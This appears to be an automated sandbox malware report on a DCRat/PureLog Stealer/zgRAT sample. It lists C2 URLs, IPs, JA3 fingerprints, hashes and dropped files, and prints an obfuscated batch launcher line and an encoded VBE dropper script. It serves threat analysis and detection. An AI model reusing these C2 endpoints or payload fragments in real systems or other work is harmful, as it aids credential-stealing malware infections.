104.21.38.84	GqjiKlwarV.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	101349cm.renyash.ru/VideovmGamedefaultTestuniversalwp.php
	1znAXdPcM5.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	891781cm.renyash.ru/ProcessorServerdefaultsqltrafficuniversalwpprivate.php
	YGk3y6Tdix.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	250345cm.renyash.ru/sqltemp.php
	U1jaLbTw1f.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	891781cm.renyash.ru/ProcessorServerdefaultsqltrafficuniversalwpprivate.php
	ZZ2sTsJFrt.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	048038cm.renyash.ru/pipepacketprocessGeneratordownloads.php
	67VB5TS184.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	649521cm.renyash.ru/PipeToJavascriptRequestpollcpubasetestprivateTemp.php
	gkcQYEdJSO.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	749858cm.renyash.ru/javascriptrequestApiBasePrivate.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ipinfo.io	YGk3y6Tdix.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	34.117.59.81
	Etqq32Yuw4.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	34.117.59.81
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.117.59.81
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	34.117.59.81
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	34.117.59.81
	58VSNPxrI4.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
	main1.bat	Get hash	malicious	Abobus Obfuscator	Browse	34.117.59.81
	pyld611114.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
	YF3YnL4ksc.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
	YF3YnL4ksc.exe	Get hash	malicious	Unknown	Browse	34.117.59.81
250345cm.renyash.ru	YGk3y6Tdix.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.21.38.84
api.telegram.org	YGk3y6Tdix.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	149.154.167.220
	Etqq32Yuw4.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	149.154.167.220
	vEtDFkAZjO.exe	Get hash	malicious	RL STEALER, StormKitty	Browse	149.154.167.220
	Invoice-BL. Payment TT $ 28,945.99.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	149.154.167.220
	file.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	XClient.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	Requested Documentation.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
	iviewers.dll	Get hash	malicious	LummaC	Browse	149.154.167.220
	Flasher.exe	Get hash	malicious	Luca Stealer, Rusty Stealer	Browse	149.154.167.220
	INQUIRY.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	YGk3y6Tdix.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	149.154.167.220
	CenteredDealing.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	CenteredDealing.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	Etqq32Yuw4.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	149.154.167.220
	over.ps1	Get hash	malicious	Vidar	Browse	149.154.167.99
	MatAugust.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	vEtDFkAZjO.exe	Get hash	malicious	RL STEALER, StormKitty	Browse	149.154.167.220
	Invoice-BL. Payment TT $ 28,945.99.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	149.154.167.220
	6684V5n83w.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	file.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
CLOUDFLARENETUS	GqjiKlwarV.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	172.67.220.198
	1znAXdPcM5.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.21.38.84
	YGk3y6Tdix.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.21.38.84
	https://mmm.askfollow.us/#CRD	Get hash	malicious	Unknown	Browse	104.17.24.14
	http://l.instagram.com/?0bfd7a413579bfc47b11c1f19890162e=f171d759fb3a033e4eb430517cad3aef&e=ATP3gbWvTZYJbEDeh7rUkhPx4FjctqZcqx8JLHQOt3eCFNBI8ssZ853B2RmMWetLJ63KaZJU&s=1&u=https%3A%2F%2Fbusiness.instagram.com%2Fmicro_site%2Furl%2F%3Fevent_type%3Dclick%26site%3Digb%26destination%3Dhttps%253A%252F%252Fwww.facebook.com%252Fads%252Fig_redirect%252F%253Fd%253DAd8U5WMN2AM7K-NrvRBs3gyfr9DHeZ3ist33ENX9eJBJWMRBAaOOij4rbjtu42P4dXhL8YyD-jl0LZtS1wkFu-DRtZrPI1zyuzAYXXYv3uJfsc2GuuhHJZr0iVcLluY7-XzYStW8tPCtY7q5OaN0ZR5NezqONJHNCe212u1Fk3V5I6c8mMsj53lfF9nQIFCpMtE%2526a%253D1%2526hash%253DAd_y5usHyEC86F8X	Get hash	malicious	Unknown	Browse	104.26.13.60
	https://t.co/YjyGioQuKT	Get hash	malicious	Unknown	Browse	104.21.64.1
	6a7e35.msi	Get hash	malicious	Unknown	Browse	104.21.32.1
	http://tracking.b2bmktvault.com/tracking/click?d=qPk_c18mu4tAnpVkjkvM74XnWEgCEJFMr0kmnRaZVETZIbfUm-V7axMnjqAoCLnqzaVyNRK36FUkPva8vnzGVvH9cqu1JpLb-vxN3FkjjYhK51_3JrkS14Hcuqb1FOJE1bnSPADYUAMl8knPwYz7btXcOUX9DY4_AjytTbLRGEQ0R8vUhh6vaa-KBtd0YdWGVJFQli_mKczqrYpzYk33dCMwBXQR8R8u2JajJsC51OFcIlRSs_l3i1d9MQf5ZYWuxV_Ytx1pTi2iUY6P97JH0U81	Get hash	malicious	Unknown	Browse	188.114.97.3
	http://tracking.b2bmktvault.com/tracking/click?d=qPk_c18mu4tAnpVkjkvM74XnWEgCEJFMr0kmnRaZVETZIbfUm-V7axMnjqAoCLnqzaVyNRK36FUkPva8vnzGVvH9cqu1JpLb-vxN3FkjjYhK51_3JrkS14Hcuqb1FOJE1bnSPADYUAMl8knPwYz7btXcOUX9DY4_AjytTbLRGEQ0R8vUhh6vaa-KBtd0YdWGu732v1MZ_EelGtWldAkkdtYGfnD-GIQEN8fgQfvllyKpzr3-J0fwpuBZsUPy3J_TvPM8sfKRevcMTcDv6eAynng1	Get hash	malicious	Unknown	Browse	188.114.97.3
	OXoeX1Ii3x.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	YGk3y6Tdix.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	34.117.59.81
	https://mmm.askfollow.us/#CRD	Get hash	malicious	Unknown	Browse	34.117.77.79
	http://l.instagram.com/?0bfd7a413579bfc47b11c1f19890162e=f171d759fb3a033e4eb430517cad3aef&e=ATP3gbWvTZYJbEDeh7rUkhPx4FjctqZcqx8JLHQOt3eCFNBI8ssZ853B2RmMWetLJ63KaZJU&s=1&u=https%3A%2F%2Fbusiness.instagram.com%2Fmicro_site%2Furl%2F%3Fevent_type%3Dclick%26site%3Digb%26destination%3Dhttps%253A%252F%252Fwww.facebook.com%252Fads%252Fig_redirect%252F%253Fd%253DAd8U5WMN2AM7K-NrvRBs3gyfr9DHeZ3ist33ENX9eJBJWMRBAaOOij4rbjtu42P4dXhL8YyD-jl0LZtS1wkFu-DRtZrPI1zyuzAYXXYv3uJfsc2GuuhHJZr0iVcLluY7-XzYStW8tPCtY7q5OaN0ZR5NezqONJHNCe212u1Fk3V5I6c8mMsj53lfF9nQIFCpMtE%2526a%253D1%2526hash%253DAd_y5usHyEC86F8X	Get hash	malicious	Unknown	Browse	34.117.77.79
	https://t.co/YjyGioQuKT	Get hash	malicious	Unknown	Browse	34.117.77.79
	Etqq32Yuw4.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	34.117.59.81
	botx.sh4.elf	Get hash	malicious	Mirai	Browse	34.118.114.163
	loligang.spc.elf	Get hash	malicious	Mirai	Browse	34.117.61.150
	arm.elf	Get hash	malicious	Mirai, Moobot	Browse	34.67.61.212
	rpDOUhuBC5.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	rpDOUhuBC5.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	YGk3y6Tdix.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	149.154.167.220 34.117.59.81
	1.ps1	Get hash	malicious	Unknown	Browse	149.154.167.220 34.117.59.81
	Let's_20Compress.exe	Get hash	malicious	Unknown	Browse	149.154.167.220 34.117.59.81
	YJaaZuNHwI.exe	Get hash	malicious	Quasar	Browse	149.154.167.220 34.117.59.81
	Etqq32Yuw4.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	149.154.167.220 34.117.59.81
	OPRfEWLTto.js	Get hash	malicious	Unknown	Browse	149.154.167.220 34.117.59.81
	http://4.lkx91.michaelhuegel.com/news?q=IP%20provider%20is%20blacklisted!%20MICROSOFT-CORP-MSN-AS-BLOCK	Get hash	malicious	Unknown	Browse	149.154.167.220 34.117.59.81
	over.ps1	Get hash	malicious	Vidar	Browse	149.154.167.220 34.117.59.81
	http://trezorbridge.org/	Get hash	malicious	Unknown	Browse	149.154.167.220 34.117.59.81
	tyPafmiT0t.exe	Get hash	malicious	44Caliber Stealer, BlackGuard, Rags Stealer	Browse	149.154.167.220 34.117.59.81

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Drivers\fontdrvhost.exe	Etqq32Yuw4.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe	Etqq32Yuw4.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
C:\Program Files\Internet Explorer\en-US\conhost.exe	Etqq32Yuw4.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse

Created / dropped Files

C:\Drivers\5b884080fd4f94

Download File

Process:	C:\Drivers\fontdrvhost.exe
File Type:	ASCII text, with very long lines (543), with no line terminators
Category:	dropped
Size (bytes):	543
Entropy (8bit):	5.876513737259657
Encrypted:	false
SSDEEP:	12:gI1lhokNFvEE+AA+RQjfzA7qcE0j8RQYXHCoXAHYsuWgsHM0FGB3x:gmEEjdQjf4qSMNZ+5uWg6rWx
MD5:	4FADCE842D493D7F68C432C0451BA94E
SHA1:	7739F32269FA6F6374C442F1A181B6F6F909E1B6
SHA-256:	6AF5D7A337E9BDB06C17EEC0E69BA222F92F8C85D0BC6B4B86A68408AA74D887
SHA-512:	B45F7D134214413DC58109348BCE7FDFE7DEBB430B514DF66E4FB515E857E519E5661A57EFBD2DCA23F9BDB5720A80FDD6E5B6DD48793A57254AE2C9137CD15E
Malicious:	false
Preview:	rk07HEtA7hLe48MUYRIZisaW1FBf96OoPAI0OceA6XfhfKHuqJUKHO88KdFBDNBASgP40VF6xHcKN21q8QyzlDhBBJpuWc7sWeO85N4VEYX9wyvSmYDwZLZO9O3qpUjUKtxso2vvWdvNqhOMYXH7YKTLF98rTNptzCzCADntnSa6aLic9qSRMl69ammo4EbIxBXosMMVuYUGtWu3bgrn4XhNGzlXa8zi0RIZy3twd7hyRzPD1sNXWxOaeKi2ly4viwQcOVFiw4J7zs6RjhfrvcLCDr4nU1LpDwQeixzgnokcoRkwORTDSM9FkNYgacN5te3Dbbsvs9EG1tYwHIZDiIW0xK4VZTFKbpsJXhUwjhVTH2O0zmZRDJXlIDQQgXWY34pMAPZjymeAwDs46Egx3yHRRHBTRDQLK6ZNNBzjMzdapWyEUVUc1jfFwX43NFSvWS00oeq4O6kEUqm5T685txUlbTb0H6WHhsEXg7a0pZO58auGu9jQGWBi7OZUD0xRjchmlPZWgIQTiZmAiUFHXFBKqfZRiFw

C:\Drivers\SE7AQJDJtAMXQraxpdEvOEZ68dJxrB3UY7MvAzdsW8.bat

Download File

Process:	C:\Users\user\Desktop\eP6sjvTqJa.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	96
Entropy (8bit):	5.062950688862252
Encrypted:	false
SSDEEP:	3:wBRC2Z7a71T2ExiST6XILRFWCNRcmA:wPIB2NST8IlFBumA
MD5:	4CA51D230B98301363F779FBD2FD796C
SHA1:	CF13C37E94C171FD4853A60F7509A61FFF48BEA4
SHA-256:	95F47FE6CE9F000C06F234C0B523E7726C02214C008BAFE9B53A3DD3FAB9C1DE
SHA-512:	88C214A6D3E822138C3CD611CB8E09F15B4F17BADBEC1773C743F8D9AAF81F5B1A59229C2FFB6725978A01A4A1227DBE0BB29A8D8D75939096116D340A73712D
Malicious:	false
Preview:	%pdlzgHLbolS%%OXkQthmtDlsaCb%..%VTkRatou%"%SystemDrive%\/Drivers/fontdrvhost.exe"%vkfbTXKadaRJC%

C:\Drivers\fontdrvhost.exe

Download File

Process:	C:\Users\user\Desktop\eP6sjvTqJa.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1995264
Entropy (8bit):	7.563817177395898
Encrypted:	false
SSDEEP:	24576:3D3bq5QJoEoChSWB2yfXv3zXK8oH3y2e4OWURyGELRgROkTljwoLe/Jd0H1kI1n2:TTyyfXPzXKBy2GyGw4O0lmJIJ
MD5:	0F52130D0A1ABBE40D9F582B1F95A3E3
SHA1:	BEB72E7DCCFBFE80868AB9BA16B866A26D5B75D9
SHA-256:	C0ECC22A4CC8EF912B7D1DE3DD48C9DC32CA053535AA71DA572AEB6F9C91D4AE
SHA-512:	290A2F7FEEB312016DE0DBA0BFAA85328D0BD643D9683655650C7807A0E0D2527584821B00D89AF5F5B55A77492939A2168A541F11E5807A12965EBDC1440A0E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Drivers\fontdrvhost.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Drivers\fontdrvhost.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 76%
Joe Sandbox View:	Filename: Etqq32Yuw4.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....pg.................j.............. ........@.. ....................................@.....................................K....... ............................................................................ ............... ..H............text....i... ...j.................. ..`.rsrc... ............l..............@....reloc...............p..............@..B........................H.......8..............................................................0..........(.... ........8........E............9.......8....(.... ....8....(.... ....~....{i...9....& ....8....(.... ....~....{....9....& ....8........0.......... ........8........E....1...........g...{.......8,.......~....(B...~....(F... ....<.... ....8....~....(:... .... .... ....s....~....(>....... ....8\|...~....:^... ....8h...8O... ....~....{....:O...& ....8D......... ....~....{....:...& ....8....r

C:\Drivers\tovs28pB6Vd1SzaEcRy6OtKi8G4GdEOG4Cet.vbe

Download File

Process:	C:\Users\user\Desktop\eP6sjvTqJa.exe
File Type:	data
Category:	dropped
Size (bytes):	239
Entropy (8bit):	6.002556688611792
Encrypted:	false
SSDEEP:	6:Gbt2wqK+NkLzWbHY08nZNDd3RL1wQJR62Eg+0BhPBWQRJ:GxMCzWLY04d3XBJDD+0BhPx
MD5:	4890F14477D1A84A5BEB720942CE8DB4
SHA1:	5110473AF3AD8D1CFB5E108D45A6B1B3156D3CAC
SHA-256:	35714B614BA40D6C70441D10D07EC7B33F2F9D72737D1E35A104070F56B07800
SHA-512:	19A185B77CAB6B4F64F145C4EDC995D0DF82ED4CDB823E919BC6ABB6F6C4420754F1596880FF72FBED26027AC938E7A555A5524802DFCCFED5ED09ACE73E2DC6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	#@~^1gAAAA==j.Y~q/4?t.V^~',Z.+mYn6(L+1O`r.?1.rwDRUtnVsE*@#@&.U^DbwO UV+n2v T!Zb@#@&j.Y,./4?4nV^PxP;DnCD+r(%+1Y`r.jmMkaY ?4n^VE#@#@&.ktj4.VV ]!x~JujH/O.:GDk7+u&zGDr\.Dd&J?2F)pxf9D)\(5Dm62N3-}2tvR[9XD$f`5G\-zy[/q0c4CDJBP!BP6CVk+EkQAAA==^#~@.

C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Download File

Process:	C:\Drivers\fontdrvhost.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1995264
Entropy (8bit):	7.563817177395898
Encrypted:	false
SSDEEP:	24576:3D3bq5QJoEoChSWB2yfXv3zXK8oH3y2e4OWURyGELRgROkTljwoLe/Jd0H1kI1n2:TTyyfXPzXKBy2GyGw4O0lmJIJ
MD5:	0F52130D0A1ABBE40D9F582B1F95A3E3
SHA1:	BEB72E7DCCFBFE80868AB9BA16B866A26D5B75D9
SHA-256:	C0ECC22A4CC8EF912B7D1DE3DD48C9DC32CA053535AA71DA572AEB6F9C91D4AE
SHA-512:	290A2F7FEEB312016DE0DBA0BFAA85328D0BD643D9683655650C7807A0E0D2527584821B00D89AF5F5B55A77492939A2168A541F11E5807A12965EBDC1440A0E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 76%
Joe Sandbox View:	Filename: Etqq32Yuw4.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....pg.................j.............. ........@.. ....................................@.....................................K....... ............................................................................ ............... ..H............text....i... ...j.................. ..`.rsrc... ............l..............@....reloc...............p..............@..B........................H.......8..............................................................0..........(.... ........8........E............9.......8....(.... ....8....(.... ....~....{i...9....& ....8....(.... ....~....{....9....& ....8........0.......... ........8........E....1...........g...{.......8,.......~....(B...~....(F... ....<.... ....8....~....(:... .... .... ....s....~....(>....... ....8\|...~....:^... ....8h...8O... ....~....{....:O...& ....8D......... ....~....{....:...& ....8....r

C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\fdadf3e88d0159

Download File

Process:	C:\Drivers\fontdrvhost.exe
File Type:	ASCII text, with very long lines (362), with no line terminators
Category:	dropped
Size (bytes):	362
Entropy (8bit):	5.8227394254856595
Encrypted:	false
SSDEEP:	6:4yPPMhzUss5EeNsg7R4jckAqrVtBbQofITgloS5Lm+YpfHKPyobIVWs+/C1XM8cG:4UM9ulLKjVAqr5TQTgy8a+Y1wyaSp+gV
MD5:	18B6CB1603FA90E99F1AF3BA44C8CBFF
SHA1:	C32F5CAC2F916156D9C94B9772CE7EB757834974
SHA-256:	2461B54CF25491CB468478AAF0DB81A212661443090F164D662D489EEE5F67C5
SHA-512:	71ADA51D3E822E0E7FB5F37631AD0D41A683C4888908594A985DFF023DF10E366796A09366B07945CAC906F5AA706E60C229FE84C5AAE966728BCAEFB34ACD7E
Malicious:	false
Preview:	brmEGHa0jhJVDD7f1pJSDE5B1EgLYqcZTlpAXdeRW2KIvIYT8k7boISXwkMCkPb3FtCbY7IXL16L3xQtpMMysBvLTRNxQcqHaRDBG75BbkQwLHe9TdWXCnLD80HGtVGsKzultPnsRLWIu9AMxOdxFTEwF9DPzzRGdhlVW2PE0oG1QDT905Sf1Tn1v8gtMX2c3QoMXo058Z6aMMfCqDY3gwOJ4tkXWf1cvo8AYGlMFXgcWMoiceDI996HBfSnDcjchepiOfnjcMyIPwwrEB51ctdwr193x8ImyD42gGU60dqxKx1OskiCgrAyA20XguwdDMTM14K8r8A8Cqm4AuKNZGGHCG1oP7aGrMt8eoWyZk

C:\Program Files\Internet Explorer\en-US\088424020bedd6

Download File

Process:	C:\Drivers\fontdrvhost.exe
File Type:	ASCII text, with very long lines (904), with no line terminators
Category:	dropped
Size (bytes):	904
Entropy (8bit):	5.903570142849392
Encrypted:	false
SSDEEP:	24:h/HrVAPkCsailqTG/CxS3nnUyN/9vq0WYDouM0anNTGynS:h/HrckC1GqaCxS3nnUyN/BJWYZM0YjS
MD5:	AE30803BC3DA822182C551A7C2F840C7
SHA1:	AEAD6A637D2B556C9351D3CE80D88C12E25DB47B
SHA-256:	F7DC8448AFBA98DE178C6E364D8EEA493BDA6185AD0B9B2A315A4DE60E50FD91
SHA-512:	258D2D908C2D0DFA4876B817B53EA08813A668D12F07CCC4C2961F53B2C36B190CE83176AEF2B4D512A67BA2A4971370B97361D70AB865D47159CE8EA0E1C40F
Malicious:	false
Preview:	8QVoDgGCqiTiJxAfMtHEc6D5q1AtNTEGmdxaOAz8QxbB2BeoVxhbRubBNZ8LgWyWeM5pAjRL4IxofCCoWVYZwmz2BvMzCnc48EgpGyovgWgI6wfLWTyK8Zk2XCoOWbIRq2qbfWiirn2aFq5OQBctyR6jdoSDKZYFNPbDGEp9vQdVgKwrHZ8V8YdZ6G71EfXROxM0O1ILVd8hxlDT2k5vbDGyvCH9Gy4P2LGs75cPRw9fa5mVDn8djm0KrXFMuIEhisoleVV6IpeoEkYzav6czbqQV6Aj0QfIrb7rRA1sRCV3ILFG9Pw8MmrHCXQiUwG1KV6mnqia4NLxFwIJ03kkeg6Ft0p3tTYf5etwOcdTrVE8a4CPPGraMfXnZ13xAoqkzp1kDW4XaQ2Ic7ozyZoml8TZHFWXjqSDpdJvDbM2LU95nOLbME8lAD91Vbd89hxt7zc8y3vXMvaQ8Xw234LfrrCmeRZm7O3ogQ7xvNnTSlYPms37olEEWSCQx0egdJa81wusZ9GqR1MFSw9vYc7VKySONrA4tG0JLaX08LhpfYxeF67A1sIALEyDdges8L6LBD42ZIxN4SzvByIRuADA7z7GlUXcqzqTblcCBEks55G3OCCoXM78I6NMFxQFvUgElgTZWGPqZUECsE1jRsFe1rLeYQ6Oxf7kYBRssmSQ6Rjx2LdA5rxDPCN4UzBFKB23XdoqxJ0oZyhkIYmNw5SFs4VVyXY3lMF4ZqZZgxNw1Inbenv5MxTOtwKdIS2au6DNsnKc8Nq9rgNkQ41Llcrx20Lmf6RO4xB5Fas1cT79HUhNikMObqySPPU1bi6B6bE4eSf0L9tRfrqiT8D4uCxO8tq0G0Z3W5DpQmsQFVCb7gwhividfBR3oz5umouVjz5knARrPxzY

C:\Program Files\Internet Explorer\en-US\conhost.exe

Download File

Process:	C:\Drivers\fontdrvhost.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1995264
Entropy (8bit):	7.563817177395898
Encrypted:	false
SSDEEP:	24576:3D3bq5QJoEoChSWB2yfXv3zXK8oH3y2e4OWURyGELRgROkTljwoLe/Jd0H1kI1n2:TTyyfXPzXKBy2GyGw4O0lmJIJ
MD5:	0F52130D0A1ABBE40D9F582B1F95A3E3
SHA1:	BEB72E7DCCFBFE80868AB9BA16B866A26D5B75D9
SHA-256:	C0ECC22A4CC8EF912B7D1DE3DD48C9DC32CA053535AA71DA572AEB6F9C91D4AE
SHA-512:	290A2F7FEEB312016DE0DBA0BFAA85328D0BD643D9683655650C7807A0E0D2527584821B00D89AF5F5B55A77492939A2168A541F11E5807A12965EBDC1440A0E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Program Files\Internet Explorer\en-US\conhost.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Program Files\Internet Explorer\en-US\conhost.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 76%
Joe Sandbox View:	Filename: Etqq32Yuw4.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....pg.................j.............. ........@.. ....................................@.....................................K....... ............................................................................ ............... ..H............text....i... ...j.................. ..`.rsrc... ............l..............@....reloc...............p..............@..B........................H.......8..............................................................0..........(.... ........8........E............9.......8....(.... ....8....(.... ....~....{i...9....& ....8....(.... ....~....{....9....& ....8........0.......... ........8........E....1...........g...{.......8,.......~....(B...~....(F... ....<.... ....8....~....(:... .... .... ....s....~....(>....... ....8\|...~....:^... ....8h...8O... ....~....{....:O...& ....8D......... ....~....{....:...& ....8....r

C:\Users\Default\AppData\Local\Microsoft\Windows\History\AdbXCBUViTnoVBSsOq.exe

Download File

Process:	C:\Drivers\fontdrvhost.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1995264
Entropy (8bit):	7.563817177395898
Encrypted:	false
SSDEEP:	24576:3D3bq5QJoEoChSWB2yfXv3zXK8oH3y2e4OWURyGELRgROkTljwoLe/Jd0H1kI1n2:TTyyfXPzXKBy2GyGw4O0lmJIJ
MD5:	0F52130D0A1ABBE40D9F582B1F95A3E3
SHA1:	BEB72E7DCCFBFE80868AB9BA16B866A26D5B75D9
SHA-256:	C0ECC22A4CC8EF912B7D1DE3DD48C9DC32CA053535AA71DA572AEB6F9C91D4AE
SHA-512:	290A2F7FEEB312016DE0DBA0BFAA85328D0BD643D9683655650C7807A0E0D2527584821B00D89AF5F5B55A77492939A2168A541F11E5807A12965EBDC1440A0E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 76%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....pg.................j.............. ........@.. ....................................@.....................................K....... ............................................................................ ............... ..H............text....i... ...j.................. ..`.rsrc... ............l..............@....reloc...............p..............@..B........................H.......8..............................................................0..........(.... ........8........E............9.......8....(.... ....8....(.... ....~....{i...9....& ....8....(.... ....~....{....9....& ....8........0.......... ........8........E....1...........g...{.......8,.......~....(B...~....(F... ....<.... ....8....~....(:... .... .... ....s....~....(>....... ....8\|...~....:^... ....8h...8O... ....~....{....:O...& ....8D......... ....~....{....:...& ....8....r

C:\Users\Default\AppData\Local\Microsoft\Windows\History\fdadf3e88d0159

Download File

Process:	C:\Drivers\fontdrvhost.exe
File Type:	ASCII text, with very long lines (658), with no line terminators
Category:	dropped
Size (bytes):	658
Entropy (8bit):	5.893783528304391
Encrypted:	false
SSDEEP:	12:KV+FENI5C9ridsOaeT/gzkQPY+lBTxbM/MdsJUVKncJPJbFtgIV:Fm6CB8LEPYkM/OsS7JbFtgIV
MD5:	3ACB65A795D47292CBB60972112CACE3
SHA1:	BF40EBA64213681296B3DBDF0C62B9C7AC2C28B4
SHA-256:	FE4F9D5403C3275367286638E5FF5F4A648F1A5888A1780A0D6FDDC4D6F00986
SHA-512:	48C79260112947F0EBE67E7D3E9D5EA24A8613A6C6B7ED52590559F785830FAE07C9C1470DE11F0286C5C0DE57A3E169508120BD703F61638445E636CB990DF3
Malicious:	false
